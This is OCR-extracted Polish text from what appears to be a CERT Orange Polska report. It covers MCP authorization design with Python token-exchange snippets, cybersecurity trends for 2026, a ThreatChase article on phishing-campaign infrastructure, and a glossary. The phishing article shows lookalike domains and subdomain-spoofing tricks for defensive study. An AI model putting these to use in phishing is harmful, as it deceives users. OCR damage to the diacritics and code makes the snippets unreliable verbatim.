To jest problem nie tylko ,,wycieku”, ale tez operacyjnej
kontroli: trudno wymuszacd krétkie sesje i rotacje toke-
néw, skoro token musi dziata¢ ciagle, ,,zeby demo/agent
nie padt’, a audyt end-to-end rozmywa sie, bo operacje
wygladajg jak wykonane ,,z laptopa”, a nie w kontrolowa-
nej sciezce z polityka i telemetrig. To pierwszy moment,
w ktérym widac, ze ryzyko MCP nie wynika z samego
protokotu, tylko z architektury: lokalne uruchomienie
tworzy dodatkowe punkty ekspozycji sekretéw i zaciera
granice rozliczalnosci.

Tu robi si¢ powazniej: wchodzi MCP dostawcy i inte-
gracja z systemem dziedzinowym, ktéry ma wtasny,
dojrzaty model uprawnien. Monitoring/observability,
CMDB czy platformy ITSM zwykle wdrazaja RBAC/
ACL z dziedziczeniem, wyjatkami, scope’ami i kontek-
stem zasobdw (np. ,ten zespdt widzi tylko te hosty/
projekty”). W tym miejscu wychodzi na wierzch napie-
cie semantyczne: kontrakt narzedzia w MCP nie niesie
natywnie petnego kontekstu takiego modelu, wiec kto$
zaczyna ,upraszczac¢” mapowanie, zeby ,,dowies¢”
funkcjonalnosé.
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Z tego rodzg sie dwa klasyczne antywzorce, kto-
rych chcemy unikna¢ w catym artykule. Pierwszy
to odtwarzanie autoryzacji po stronie MCP: serwer/
adapter pobiera role, grupy i scope’y z systemu
dziedzinowego, trzyma je lokalnie (cache, mapo-
wania) i podejmuje decyzje wedtug wtasnych regut.
To doktadnie ,,drugi system autoryzacji” i prosta
droga do driftu uprawnien. Drugi to shared super-
token: jedno konto techniczne lub jeden klucz API
o szerokich uprawnieniach, ,bo inaczej sie nie da”,
a ograniczenia ,wejdg pozniej”.

Efekt jest przewidywalny i spéjny z obserwacjami
z poprzednich sekcji: ro$nie powierzchnia ataku
(wiecej sekretow, wiecej miejsc ich uzycia, wiek-
szy blast radius), a rozliczalno$¢ end-to-end sie
rozmywa. System dziedzinowy widzi operacje
wykonane ,przez MCP”, ale bez poprawnej propa-
gacji tozsamosci i tokendw nie odpowie, czy akcje
zrobit uzytkownik A, B czy automat. To idealne
warunki dla Shadow Al — narzedzia i integracje
dziatajg w produkcji bez jednoznacznej osi odpo-
wiedzialnosci.

import os
import requests

DOMAIN URL = os.environ[,DOMAIN URL”]
DOMAIN TOKEN = os.environ[,DOMAIN TOKEN"]

def tool read resources (query: dict):
r = requests.post (
f£”{DOMAIN URL}/api/resources/se-
arch”,

headers={,Authorization”: f”Bearer

{DOMAIN TOKEN}"},
json=query,
timeout=10,

)
r.raise for status()
return r.json()

To najczestszy skrét w integracjach dostawcow:
adapter MCP wota system dziedzinowy jednym
statym tokenem (DOMAIN_TOKEN). Dziata zawsze,
tatwo go wdrozy¢ i debugowac, ale tamie zasady

z tego artykutu: blast radius jest rowny uprawnie-
niom tokena (zwykle zbyt duzy), a system dziedzino-
wy traci kontekst peruser — widzi jedng techniczng
tozsamos$¢ zamiast faktycznego uzytkownika i pod-
stawy polityki.

Co zamiast? Trzymamy si¢ wzorca referencyjnego:
decyzje w IAM, egzekwowanie w bramce, a toke-

ny sg przycinane do konkretnego zasobu/operacji
(token exchange z aud per zaséb, krétki TTL). MCP
pozostaje mostem z barierkami: propaguje tozsa-
mos¢ uzytkownika, nie odtwarza RBAC, a gateway
weryfikuje podpis/iss/exp i dopasowuje aud do trasy
(denybydefault). Dzieki temu nie ma shared super-
tokenu, a rozliczalnos¢ ,kto/co/na jakiej podstawie”
zostaje zachowana.

Domykajac to praktyka: witasciwy wzorzec to token
exchange z aud przypietym do konkretnego zasobu
tak, aby autoryzacja pozostata w IAM, a MCP/Gate-
way jedynie egzekwowaty decyzje. Uzytkownik loguje
sie i dostaje access token, ktérego aud zawiera m.in.
mcp-token-exchange-client; orkiestrator odkrywa
serwery (np. GET /servers) i bierze external_id zaso-
bu/serwera (np. 122060679). Nastepnie, uzywajac
poswiadczen mcp-token-exchange-client, wywotuje
w Keycloak grant typu token-exchange, przekazujac
subject_token uzytkownika i resource odpowiadajacy
temu external_id. Mapper skryptowy sprawdza, czy
User.appPermissionsList zawiera wskazany identyfi-
kator oraz wymagana flage (np. mcp_22509187), po
czym wydaje ,downscoped” token z aud ustawionym
na urn:mcp:resource: 122060679 (oraz azp=mcp-to-
ken-exchange-client). Z takim tokenem orkiestrator
wota MCP Server przez Gateway; bramka weryfikuje
go offline (podpis/JWKS, exp, iss) i — kluczowo

— dopasowuje aud do skonfigurowanej trasy/zaso-
bu. Jesli aud nie pasuje do zadanej $ciezki, zadanie
jest odrzucane, a jesli pasuje — operacja przechodzi
dalej juz w $cisle ograniczonym kontekscie. Efekt
jest trojaki: znika ,,drugi system autoryzacji” (decyzja
zapada w I1AM), znika pokusa wspdlnych superto-
kendw (least privilege per zaséb), a rozliczalnosé
endtoend pozostaje czytelna, bo kazdy side effect da
sie powigzaé z uzytkownikiem i jasno zdefiniowanym
aud/scope’em na bramce.

import os
import requests
from typing import Union

IAM BASE URL = os.getenv(,IAM BASE

URL”, ,https://iam.example.com”)
REALM = os.getenv(,IAM REALM”, ,demo-
-realm”)

TOKEN_ENDPOINT = f”{IAM BASE URL}/re-
alms/{REALM} /protocol/openid-connect/
token”

EXCHANGE CLIENT ID = os.getenv (,EX-
CHANGE CLIENT ID”, ,mcp-exchange-c-
lient”)

EXCHANGE_CLIENT_SECRET = os.gete-

nv (,EXCHANGE CLIENT_ SECRET”, ,REDAC-
TED SECRET”)

RESOURCE_ID =
~R12345")
EXPECTED AUD =
SOURCE ID}”

os.getenv (,RESOURCE ID”,

f”urn:mcp:resource: {RE-

GATEWAY URL = os.getenv (,GATEWAY URL”,
,https://mcp-gw.example.com”)

MCP_PATH = os.getenv(,MCP_PATH”, £”/
mcp/vendor/{RESOURCE_ID}/projects/
list”)

def token exchange (subject token:
resource id: str) -> str:
data = {
»grant type”: ,urn:ietf:pa-
rams:oauth:grant-type:token-exchange”,

str,



»Subject token”: subject token,
»Subject token type”: ,urn:iet-
f:params:ocauth:token-type:access token”,
,requested token type”: ,urn:iet-
f:params:ocauth:token-type:access token”,
,resource”: resource id,
}
r = requests.post (TOKEN_ENDPOINT, da-
ta=data,
auth= (EXCHANGE _
CLIENT 1ID, EXCHANGE_CLIENT_SECRET),
timeout=10)
r.raise for status()
return r.json() [,access_token”]

def call mcp via gateway (access_ token:
str, path: str) -> dict:

url = f”{GATEWAY URL}{path}”

r = requests.get (url, header-
s={,Authorization”: f”Bearer {access_ to-
ken}”}, timeout=15)

r.raise for status()

return r.json|()
if _name__ ==, main__":

subject token = os.getenv(,USER _AC-
CESS_TOKEN”, ”REDACTED_USER_JWT")

downscoped = token exchange (subject
token, RESOURCE 1ID)

import jwt

claims = jwt.decode (downscoped,
options={,verify signature”: False})

aud: Union[str, list] = claims.
get (,aud”)

aud_ok = (EXPECTED AUD in aud) if
isinstance (aud, list) else (aud == EXPEC-
TED AUD)

if not aud ok:
raise SystemExit (f”aud mismatch:
{aud} != {EXPECTED_AUD}”)

result = call mcp via gateway (down-—
scoped, MCP_PATH)
print (result)

Kod ilustruje wzorzec ,token exchange + aud per za-
s6b”. Orkiestrator wymienia user token na ,downsco-
ped” token z aud=urn:mcp:resource:<RESOURCE_ID>,
a nastepnie wywotuje MCP Server przez bramke.

m Token_exchange: wywotuje grant typu token-exchange
w |AM, przekazujgc subject_token uzytkownika oraz reso-
urce=<RESOURCE_ID>. Mapper w IAM sprawdza upraw-
nienia i wystawia token z aud przypietym do zasobu.

m EXPECTED_AUD: oczekiwana wartosé audience, beda-
ca biletem na konkretna trase/zaséb. Bramka powinna
mapowac¢ doktadnie ten aud do $ciezek /mcp/ven-
dor/<RESOURCE_ID>/**.

m Szybki sanity check: lokalnie, bez weryfikacji podpisu,
sprawdzamy, czy aud w tokenie zgadza sie z EXPEC-
TED_AUD. Egzekwowanie i tak odbywa sie w bramce
(podpis, iss, exp, aud).

m Call_mcp_via_gateway: wywotanie HTTP z ,downsco-
ped” tokenem. Bramka musi weryfikowa¢ token offline
(JWKS) i dopasowac¢ aud =» trasa. Przy niezgodnosci
zwraca 4083.

m Anonimizacja: wszystkie domeny, identyfikatory,
client_id/secret i Sciezki sg przyktadowe. W produkcji
uzyj menedzera sekretow, krétkich TTL, rotacji i zasady
least privilege.
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Trendy na rok

Zespot CERT Orange Polska

Sztuczna inteligencja odmienia krajobraz cyberbezpieczenstwa w tem-
pie, jakie jeszcze kilka lat temu trudno byto sobie wyobrazié. Al stata
sie rownoczesnie narzedziem wspierajacym obrone i ulepszajagcym
dziatania zespotéw cyberbezpieczenstwa oraz poteznym akcelerato-
rem cyberatakéw.


http://cert.orange.pl

Nie tylko jednak ona znalazta si¢ w trendach opisanych
przez ekspertéw CERT Orange Polska. Przedstawiamy
najwazniejsze wedtug nas obszary zagrozen, ktére beda
dominowaty w przysztosci.

Sztuczna inteligencja

m Rozwdj generatywnej sztucznej inteligenciji zaczyna wpty-
wacé na sposob tworzenia i rozwijania ztosliwego oprogra-
mowania. Obserwujemy pierwsze przyktady ztosliwego
oprogramowania, w ktérym modele Al stuzg do generowa-
nia fragmentéw kodu podczas ich dziatania lub podejmo-
wania decyzji jakie kroki w infekcji nalezy dalej podjac.
Jednoczesnie narzedzia oparte na LLM sg coraz czesciej
wykorzystywane przez cyberprzestepcéw do tworzenia
stron oraz wiadomosci phishingowych, przygotowywania
exploitéw oraz dynamicznego modyfikowania istnieja-
cego malware w celu unikniecia detekcji. Przewidujemy,
ze narzedzia Al bedg wykorzystywane do automatyzacji
kolejnych etapéw atakéw — od rozpoznania az po eksfil-
tracje danych Al pozwoli na weryfikacje efektéw dziatania
i korekte scenariusza ataku. To podejscie spowoduje
znaczacy wzrost szybkosci oraz skali atakéw. W efekcie
spodziewamy sie wzrostu liczby dynamicznie modyfikowa-
nych wariantéw ztosliwego oprogramowania powstajgcych
przy wsparciu narzedzi Al.

Nowa kategorig zagrozen sg ataki wymierzone bezpo-
$rednio w agentéw Al — modele dziatajgce z dostepem

do wewnetrznych danych lub systemdw operacyjnych
organizacji. Problemy pojawiaja sie na dwdch poziomach:
agenci Al z nadmiernymi uprawnieniami oraz ataki na same
systemy Al.

m Al moze wspieraé przestepcdw juz na etapie rekonesansu:
automatycznie analizowac wycieki, taczy¢ rozproszone
informacje o uzytkownikach i przygotowywac scenariusze
z wykorzystaniem MFA phishingu. Ze wzgledu na to, ze
wiekszos$¢ powaznych incydentéw wcigz zaczyna sie od
przejecia konta pracownika, automatyzacja w tym obsza-
rze istotnie zwieksza skale zagrozen.

m Wykorzystywanie Al przez mato doswiadczonych progra-
mistéw do generowania kodu (w tym serwiséw interneto-
wych) moze przyczynia¢ sie do powstawania kodu niskiej
jakosci, zawierajgcego btedy i w koricowym rezultacie
podatnego na ataki.

Al zmienia cyberbezpieczenstwo we wszystkich jego
wymiarach: technologicznym, organizacyjnym i spotecz-
nym. Stata si¢ zaréwno narzedziem, jak i celem atakow.
Kluczowe dla organizacji sg dzi$: wprowadzanie rygory-
stycznych zasad uzycia Al, kontrola uprawnien agentow
i automatyzacji, monitorowanie srodowisk chmurowych,
edukacja pracownikéw z naciskiem na wycieki i socjo-
technike.

Technologie wykorzystywane przez cyberprzestep-

céw w kampaniach oszustw reklamowych rozwijajg
sie w tempie, jakie jeszcze kilka lat temu bytoby trudne do
przewidzenia. Deepfake’i beda dalej tanie¢ i zyskiwaé na
jakosci — fatszywe materiaty wideo i audio z wizerunkami
znanych oséb z kazdym miesigcem staja sie trudniejsze
do odréznienia od oryginatéw. Co istotne, przestepcy
nie potrzebujg przefomowych wynalazkéw: wystarczy im
sprawne taczenie tego, co juz majg - rotacja kont i domen,
kosmetyczne zmiany w kreacjach, systematyczne testo-
wanie granic moderacji. Skala ruchu reklamowego na
platformach spotecznos$ciowych sprawia, ze skuteczne
filtrowanie wszystkich oszukarczych tresci pozostaje
ogromnym wyzwaniem, a scam reklamowy wcigz bedzie
jednym z najtariszych kanatéw dotarcia do ofiar. Dodatko-
wym akceleratorem jest automatyzacja catego taricucha
- od generowania grafik, wideo i tekstéw z uzyciem Al po
zaktadanie kont reklamowych i zarzadzanie nimi — ktéra
pozwala skalowac operacje przy marginalnym wzroscie
kosztéw i ryzyka wykrycia.

Mobilne, ztosliwe oprogramowanie przechodzi

wyrazng transformacije — od relatywnie prostych
aplikaciji realizujgcych pojedyncze funkcje (np. przechwy-
tywanie SMS czy danych logowania) w kierunku rozbu-
dowanych narzedzi typu Remote Access Trojan (RAT),
zapewniajgcych operatorowi niemal petng kontrole nad
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urzadzeniem. Wspoiczesne prébki coraz czesciej oferujg funkcje
zdalnej administraciji, takie jak: sterowanie interfejsem uzytkow-
nika, przechwytywanie obrazu ekranu, dostep do mikrofonu
czy systemu plikéw. Réwnoczesnie obserwowany jest trend
polegajacy na wykorzystywaniu legalnych ustug i infrastruktu-
ry chmurowej jako kanatéw komunikacji, m.in. mechanizmoéw
powiadomien push takich, jak Firebase Cloud Messaging, czy
narzedzi tunelowania i reverse proxy. Pozwala to ukrywac
komunikacje z infrastrukturg sterujgcg w ruchu generowanym
przez powszechnie wykorzystywane ustugi mobilne, znaczaco
utrudniajac jej wykrycie i blokowanie.

O 4 Intensyfikacja atakéw na $rodowiska chmurowe — rosnie
liczba incydentéw wykorzystujacych btedne konfiguracje
oraz skompromitowane poswiadczenia do przejmowania dostepu
do zasob6éw chmurowych. W praktyce prowadzi to do powaznych
konsekwenciji, takich jak masowa eksfiltracja danych, wycieki
informacii klientéw czy naduzycia infrastruktury do celéw oblicze-
niowych (np. uruchamianie koparek kryptowalut). Przejecie srodo-
wiska chmurowego daje napastnikom szeroki dostep do danych
i ustug, czesto przy ograniczonej widocznosci ich aktywnosci, co
znaczgco utrudnia szybkie wykrycie incydentu.
O Ataki na faricuch dostaw pozostajg jednym z najbardziej
efektywnych sposobdw uzyskania dostepu do wielu
organizacji jednoczesnie. W ostatnich latach obserwujemy wzrost
liczby incydentéw polegajacych na kompromitowaniu dostawcow
oprogramowania, platform ustugowych lub komponentéw wyko-
rzystywanych przez wiele organizaciji. Przyktadem rosnacej skali
tego zjawiska sg ataki na ekosystem, gdzie ztosliwe pakiety byty
masowo publikowane i automatycznie dystrybuowane do tysiecy
projektow w krotkim czasie. Rosnaca liczba zaleznosci miedzy
dostawcami ustug cyfrowych sprawia, ze ataki na faricuch dostaw
pozostajg jednym z gléwnych zagrozen. Narzedzia wspierane
przez Al dramatycznie skroca czas realizacji atakow, umozliwig
automatyczng identyfikacje ujawnionych kluczy OAuth, podatnych
dostawcow i btednie skonfigurowanych integraciji.

06 Budowanie fancuchdw ataku opartych na narzedziach
dostepnych w zaatakowanym srodowisku — coraz cze-
$ciej obserwujemy odejscie od klasycznego malware na rzecz
wykorzystania legalnego oprogramowania obecnego na stacjach

Trendy na rok 2026

roboczych. Narzedzia te, majg charakter podwdéjnego zastoso-
wania, wykorzystywane sg do realizacji kolejnych etapéw ataku
- od rozpoznania i utrzymania dostepu, po eksfiltracje danych.
Takie podejscie pozwala ograniczy¢ slady obecnosci napastnika
i utrudnia detekcje, poniewaz aktywnosc¢ opiera sie na mechani-
zmach natywnych dla systemu, a nie na fatwo identyfikowalnych

artefaktach ztosliwego oprogramowania.
O Konflikty geopolityczne pozostajg jednym z kluczowych
czynnikoéw ksztattujgcych aktywnos¢ w cyberprzestrze-
ni. Szczegodlnie widoczna jest intensyfikacja dziatari zwigzanych
z wojna rosyjsko-ukrairiska oraz konfliktami na Bliskim Wscho-
dzie, gdzie obserwuije sie zaréwno operacje sabotazowe, jak
i dtugotrwate kampanie cyberszpiegowskie prowadzone przez
grupy powiazane z panstwami. W dziatania te angazuja sie takze
srodowiska haktywistyczne, ktore prowadza ataki DDoS, deface-
menty czy publikacje wykradzionych danych. W kontekscie tych
konfliktéw kinetycznych sponsorowani przez paristwa aktorzy
zagrozen wykorzystuja zdolnosci cybernetyczne przede wszyst-
kim w roli wsparcia — np. w celu uzyskania wgladu w dziatania
rzadowych i wojskowych podmiotéw docelowych, wspierania
wysitku wojennego lub wzmacniania operacji informacyjnych
oraz dezinformacyjnych. Koordynacja domen kinetycznej i cyber
jako norma operacyjna to zmiana strukturalna, nie incydentalna.
Kazda kolejna eskalacja zbrojna bedzie teraz domysinie zawierata
komponent cybernetyczny — zaréwno po stronie atakujgcych, jak

i w ramach obrony.

System macOS staje sie coraz czestszym celem cy-
O berprzestepcéw. W ostatnich latach zidentyfikowano
nowe rodziny malware przeznaczone dla tego systemu, w tym
stealery, takie jak Atomic macOS Stealer (AMOS) czy MacSync,
ktére umozliwiajg kradziez danych uwierzytelniajgcych, informaciji
zapisanych w przegladarkach oraz portfeli kryptowalut. Kampanie
dystrybuciji tego typu malware czesto wykorzystujg socjotechni-
ke, w tym podszywanie si¢ pod legalne aplikacje lub narzedzia
zwigzane z Al oraz rozpowszechnianie zlosliwych instalatoréow
w formacie DMG. W cze$ci kampanii obserwowano takze wy-
korzystanie ztosliwych reklam w wyszukiwarkach lub fatszywych
stron pobierania oprogramowania. Rosngca liczba takich operacii
wskazuje, ze ekosystem macOS przestaje by¢ postrzegany przez
cyberprzestepcéw jako niszowy cel.
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Jak budowane
sa kampanie
phishingowe:

Doswiadczenia z europejskiego projektu
ThreatChase z udziatem Orange Polska

Korlabs (FR), PDM FC (PT), NovaForensic (PT), Orange Polska (PL)

Phishing pozostaje jednym z najbardziej powszechnych zagrozen

w dzisiejszej przestrzeni cybernetycznej. W jego istocie nie chodzi
tylko o oszukanie uzytkownika, aby kliknat link, ale o zbudowanie
ekosystemu, ktéry wyglada na wiarygodny na tyle, by oszukaé nawet
ostrozne oko. Zeby wyprzedzié atakujacych, obroncy musza zrozumieé
podstawowe elementy tych kampanii, takie jak: nazwy domen, URL-e

i infrastruktura, na ktorej polegaja atakujacy.
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W tym artykule przyjrzymy sie, jak nowoczesne ope-
racje phishingowe wykorzystuja krétkotrwate domeny,
podobne do oryginalnych URL-¢, a takze wielokrotnie
stosujg infrastruktury atakujgcych. Skupienie sie na
tych elementach jest kluczowe dla wdrozenia strategii
wykrywania phishingu realizowanej w ramach europej-
skiego projektuThreatChase (grant UE nr 101128042),
wspieranego przez European Cybersecurity Com-
petence Centre (ECCC). Orange Polska uczestniczy

w tym projekcie wraz z partnerami z Francji (korlabs.io)
oraz z Portugalii (pdmfc.com i novaforensic.pt).

Krotkotrwate domeny w atakach
phishingowych

Jednym z najbardziej charakterystycznych aspektow
kampanii phishingowych jest to, jak zwykle dziata
efemeryczna infrastruktura atakujgcych.

Operacje phishingowe zazwyczaj opieraja sie
na nowo zarejestrowanych lub krétkotrwatych
domenach, ktére:

m unikaja blokowania: nowo zarejestrowane do-
meny nie majg historii reputacji, co pozwala im
ominac tradycyjne listy blokujace;

m umozliwiaja rotacje na duza skale: gdy domena
zostanie zablokowana, atakujacy moga ja szybko
porzuci¢ i zarejestrowaé nowa;

m zmniejszaja ryzyko przypisania: czesta zmia-
na domen utrudnia powiazanie dziatan z trwatym
aktorem.

Te domeny czesto majg bardzo ograniczony czas
zycia — rejestrowane, uzywane przez godziny lub

dni, a nastepnie usuwane — aby potem zostac
zastgpione nowymi, podazajacymi za tym samym
schematem.

New domain
registered

Domain
abandoned

Detection/
takedown

Rysunek 1. Typowy cykl zycia domen phishingowych, od rejestracji
i uruchomienia kampanii do wykrycia, usuniecia i porzucenia, pod-
kreslajacy szybkie zmiany majace na celu unikanie obrony

Ten cykl zycia utrudnia wykrycie. Obroricy polegajg-
cy na reputacji historycznej lub recznym raportowa-
niu czesto tracg czas, nie zauwazajac kampanii, gdy
s3 jeszcze aktywne.

Podobne URL-e i podszywanie sie
pod marki

Najczestszym wektorem phishingu jest URL,
a tutaj atakujacy sa mistrzami w oszustwie.

Zamiast wybiera¢ losowe nazwy domen, atakujacy
celowo tworza adresy URL, ktére wygladaja jak ad-
resy legalnych marek. Popularne techniki obejmuja:



file:///C:\Users\WoyczyBe\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\JVCX4GW6\korlabs.io
http://www.pdmfc.com
file:///C:\Users\WoyczyBe\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\JVCX4GW6\novaforensic.pt
https://www.enisa.europa.eu/publications/enisa-threat-landscape-2023
https://www.cisa.gov/secure-our-world/recognize-and-report-phishing
https://www.cisa.gov/secure-our-world/recognize-and-report-phishing

[ domeny takie jak microsOft-secure.
com, wykorzystujace drobne wizualne réznice,

n uzywanie znakéw Unicode
przypominajgcych standardowe litery (np. zamiana o na
greckie o),

n umieszczanie ztosliwej

infrastruktury pod subdomenami, np. login.paypal.com.
verify-secure.net .

Ponizszy rysunek przedstawia poréwnanie domen
legalnych i phishingowych, pokazujac, jak atakujacy

wykorzystujg drobne réznice wizualne, aby oszukacé
uzytkownikow.

Phishing Domains

paypal.com

Legitimate Domains

microsOft-secure.com

login.bank.ve

Rysunek 2. Poréwnanie domen legalnych i podobnych wariantdw phishin-
gowych, ilustrujgce techniki takie jak typosquatting i podstepne konstruk-
cje subdomen

Dla nieprzeszkolonego uzytkownika te domeny moga na
pierwszy rzut oka wygladac¢ wiarygodnie, szczegdlnie na
urzgdzeniach mobilnych lub w podgladzie e-mail, gdzie
petny adres jest obcinany. Celem atakujgcych nie jest
techniczna ztozonosé, lecz psychologiczna wiarygod-
nos$¢ i zapewnienie poczucia bezpieczenstwa.

Subdomeny jeszcze bardziej poteguja iluzje wiarygodnosci.
Zamiast rejestrowac wyraZznie podejrzang domene, atakujg-
cy hostuja strony phishingowe na subdomenach, takich jak:

signin.bankname.verification-check.net

Skutecznos¢ naduzycia subdomen staje sie jeszcze bardziej
widoczna, gdy przyjrzymy sie strukturze domeny phishingo-
wej. Rysunek 3 pokazuje, jak atakujgcy uzywajg mylacych
subdomen, aby podszy¢ sie pod zaufane marki, podczas
gdy faktyczna domena pozostaje kontrolowana przez nich.

T

Subdomain Second-Level  Top-Level
Domain Domain
(TLD)

Rysunek 3. Analiza domeny phishingowej pokazujaca, jak atakujacy
uzywaja mylacych subdomen do podszywania sie pod zaufane marki,
podczas gdy kontrolujg zarejestrowanga domene

Ta technika dziata, poniewaz:

m drugi poziom domeny (verification-check.net) jest dla
wiekszosci uzytkownikdéw nieznany;

= subdomena (signin.bankname) nasladuje zaufang marke;

m wielu uzytkownikdéw, a nawet niektdre narzedzia bezpieczen-
stwa, btednie kojarzg tekst subdomeny z wiarygodnoscia.
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W phishingu zaufanie to percepcja, a naduzywanie
subdomen jest jednym z najskuteczniejszych sposo-
béw na kreowanie phishingu.

Zaawansowane kampanie phishingowe nie tylko
powtarzaja domeny, ale czesto uzywaja wielo-
krotnie infrastruktury, takiej jak:

= wspolne serwery hostingowe obstugujgce setki
ztosliwych stron,

= wielokrotne certyfikaty TLS, umozliwiajace HT-
TPS na wielu domenach phishingowych,

= zestawy phishingowe (phishing kits), ktore
zawierajg gotowe strony i szablony e-mail, sprze-
dawane na czarnym rynku,

m infrastruktura przekierowan i payloadéw zapro-
jektowana tak, aby unika¢ analizy i wykrycia.

Ponowne wykorzystanie tej infrastruktury tworzy
wzorce, ktére moga by¢ identyfikowane i wyko-
rzystywane przez obroncow, ale tylko wtedy, gdy
skupiajg sie oni na wtasciwych sygnatach.

W ThreatChase traktujemy domeny i URL-e nie tylko
jako wektory ataku, ale jako podstawowe sygnaty
infrastruktury phishingowej. Elementy te stanowig
punkt styku miedzy intencjg atakujacego, technicz-
ng realizacja i interakcja uzytkownika, co czyni je
wyjatkowo cennymi w podejsciu wykrywania opar-
tego na domenach i URL-ach, opracowanym przez
ThreatChase.

Analizujac, jak domeny s3 rejestrowane, jak budo-
wane sg URL-e i jak oba te elementy sa powtarzane
w réznych kampaniach, ThreatChase przechwytuje
sygnaty, ktére pojawiajg sie, zanim kampanie zosta-
ng szeroko zgtoszone lub zablokowane. Ta koncen-
tracja naturalnie przektada sie na cztery uzupetniaja
ce sie perspektywy wykrywania.

Domeny odzwierciedlaja intencje

Podejrzane rejestracje domen czesto pojawiaja
sie przed wystaniem phishingowych e-maili lub
uruchomieniem kampanii. Wczesne wykrycie
tych domen daje obroricom cenny czas i wglad
w przygotowania atakujacych.

URL-e to miejsce interakcji ludzi

Uzytkownicy nie klikajg adreséw IP, tylko URL-e.
Sukces phishingu zalezy od wiarygodnosci URL,
zbudowania struktury adreséw URL i podszycia sie
pod marke.

Wzorce infrastruktury ujawniaja kampanie
Domeny phishingowe rzadko istniejg w izolacji.
Zazwyczaj sg osadzone w szerszej infrastruk-
turze atakujacych, gdzie domeny wykorzystuja

wspotdzielone srodowiska hostingowe, czasy
rejestracji czy nazewnictwo. Analiza tych relacji
pozwala ThreatChase identyfikowa¢ zgrupowania
kampanii, a nie tylko pojedyncze, ztosliwe URL-e.
Listy blokujace i tradycyjne modele sie opdzniaja
Listy blokujgce i modele reputacyjne majg trud-
nosci z krétkotrwatg, szybko rotujacg infrastruk-
tura. Podejscie oparte na sygnatach ThreatChase
pomaga zamknac¢ te luke, wykrywajgc aktywnosc¢
phishingowa w czasie niemal rzeczywistym, za-
miast reagowac po fakcie.

ThreatChase analizuje domeny i URL-e jako sygnaty infra-
strukturalne, zamiast traktowac je jako odrebne wskazni-
ki. Zamiast oceniac¢, czy URL jest juz znany jako ztosliwy,
ocenia, dlaczego i jak ten URL istnieje oraz jak odnosi sie
do innych, elementéw infrastruktury atakujacych.

Kampanie phishingowe zostawiajg $lady struktu-
ralne na dtugo przed zgtoszeniem lub zablokowa-
niem. Te slady pojawiajg sie na poziomie rejestra-
cji domen, konstrukcji URL, konfiguracji hostingu
i powtarzalnosci infrastruktury, czesto jeszcze
zanim e-maile phishingowe zostang rozestane na
szeroka skale.

Aby wychwyci¢ te wczesne sygnaty, ThreatChase
nieustannie zbiera i analizuje domeny oraz URL-e

z réznych zrédet, wzbogacajac je o kontekstowe
informacje. Jak pokazano na Rysunku 4, ten proces
taczy zbieranie danych, ich wzbogacanie i analize
w jednolity proces wykrywania.
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Rysunek 4. Potok danych ThreatChase sfuzacy do wykrywania
phishingu opartego na domenach i adresach URL. Schemat
ilustruje sposéb gromadzenia podejrzanych domen i adreséw
URL, wzbogacania ich o dane kontekstowe oraz analizowania za
pomoca skorelowanych sygnatéw w celu identyfikacji kampanii
phishingowych.


https://www.ncsc.gov.uk/guidance/phishing
https://www.ncsc.gov.uk/guidance/phishing

ThreatChase ocenia wiele klas sygnatéw, w tym:

m charakterystyki cyklu zycia domen, takie jak: wiek reje-
stracji, tempo rotacji i powtarzalno$é¢ w kampaniach,

m wtasciwosci leksykalne i strukturalne URL-i, obejmuja-
ce wzorce podszywania sie pod marki, umiejscowienie
tokendéw i naduzywanie subdomen w celu wprowadze-
nia w btad,

m relacje infrastrukturalne, takie jak: wspdlne srodowiska
hostingowe, powtdrne uzycie certyfikatow TLS i korela-
cje czasowe rejestraciji.

Zamiast oceniac te sygnaty oddzielnie, ThreatChase

je koreluje, aby odkrywac¢ wzorce koordynacji. Dome-
ny pojawiajgce sie razem w czasie, infrastrukturze czy
strukturze nazewniczej sg oceniane jako czes¢ szerszej
kampanii, a nie pojedyncze zagrozenie.

Ta korelacyjna metoda pozwala ThreatChase wytapywac
kampanie na poziomie infrastruktury, wskazujac nowe
domeny na podstawie podobienistwa do znanej ztosliwej
infrastruktury — jeszcze zanim zostang uzyte w aktywnym
phishingu. Skupiajac sie na sygnatach infrastrukturalnych
i ich relacjach, ThreatChase umozliwia wczesniejsze
wykrycie i skuteczniejsza reakcje na szybko zmieniajace
sie kampanie phishingowe.

Phishing nie jest przypadkowy, jest projektowany celowo.
Aby mu skutecznie przeciwdziata¢, obroricy muszg wyjsé
poza reaktywne blokowanie i przyja¢ proaktywne, oparte
na sygnatach wykrywanie.

Zrozumienie, jak sg budowane kampanie phishingowe

— od jednorazowych domen po podrobione URL-e

i powtarzalng infrastrukture — pozwala organizacjom
wykrywac zagrozenia wczesniej i ograniczac skutecznosé
cyberatakéw na uzytkownikow.

W ThreatChase domeny i URL-e nie sg koricem wykry-
wania, lecz jego poczatkiem. Wiecej informacji mozna
znalez¢ na blogu projektu ThreatChase.

ThreatChase Linkedin

ThreatChase Website

ECCC Newsletter

ECCC Linkedin

ECCC Twitter/X

ECCC Website

®&@®EUE



https://threatchase.eu/blog/
http://cert.orange.pl
https://fr.linkedin.com/company/threatchase-project?trk=public_post_feed-actor-name
https://threatchase.eu/
https://ec.europa.eu/newsroom/ECCC/user-subscriptions/2744/create
https://www.linkedin.com/company/cybersec-eccc/mycompany/
https://twitter.com/Cybersec_ECCC
https://cybersecurity-centre.europa.eu/index_en
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A

— exploit, jaki pojawia sie natychmiast po informaciji
o podatnosci, dla ktérej nie zostata jeszcze przygotowana
poprawka.

(ang. Two-factor authentication) — mechanizm umoz-
liwiajgcy zastosowanie dwuskfadnikowego (lub dwueta-
powego) procesu uwierzytelniania. Poza standardowg
parg danych potwierdzajaca tozsamos$é w systemach
(np. nazwa uzytkownika i hasto), mechanizm ten pozwala
na wykorzystanie dodatkowej informacji przesytanej, np.
wiadomoscig SMS, lub uzycia urzadzenia potwierdzaja-
cego tozsamosé, np. tokenu czy smartfonu generujacego
jednorazowy kod (Microsoft / Google Authenticator). Z tego
mechanizmu mozna korzysta¢ w najbardziej popularnych
serwisach spotecznosciowych.

(ang. as a service) - ,jako ustuga”; skrot odnosi sie
do modelu udostepniania zasobéw ustugodawcy klien-
towi w postaci ustugi. Taki model pozwala na unikniecie
wielu kosztownych inwestycji w sprzet. Mozna wymieni¢
tu kilka najpopularniejszych stosowanych modeli: laaS
(Infrastructure as a Service), SaaS (Software/Security as
a Service), NaaS (Network as a Service), MaaS (Malware
as a Service) czy Xaa$S (rozwigzanie nazwy ustugi zosta-
wiamy Czytelnikom).

(ang. advertising-supported software) — opro-
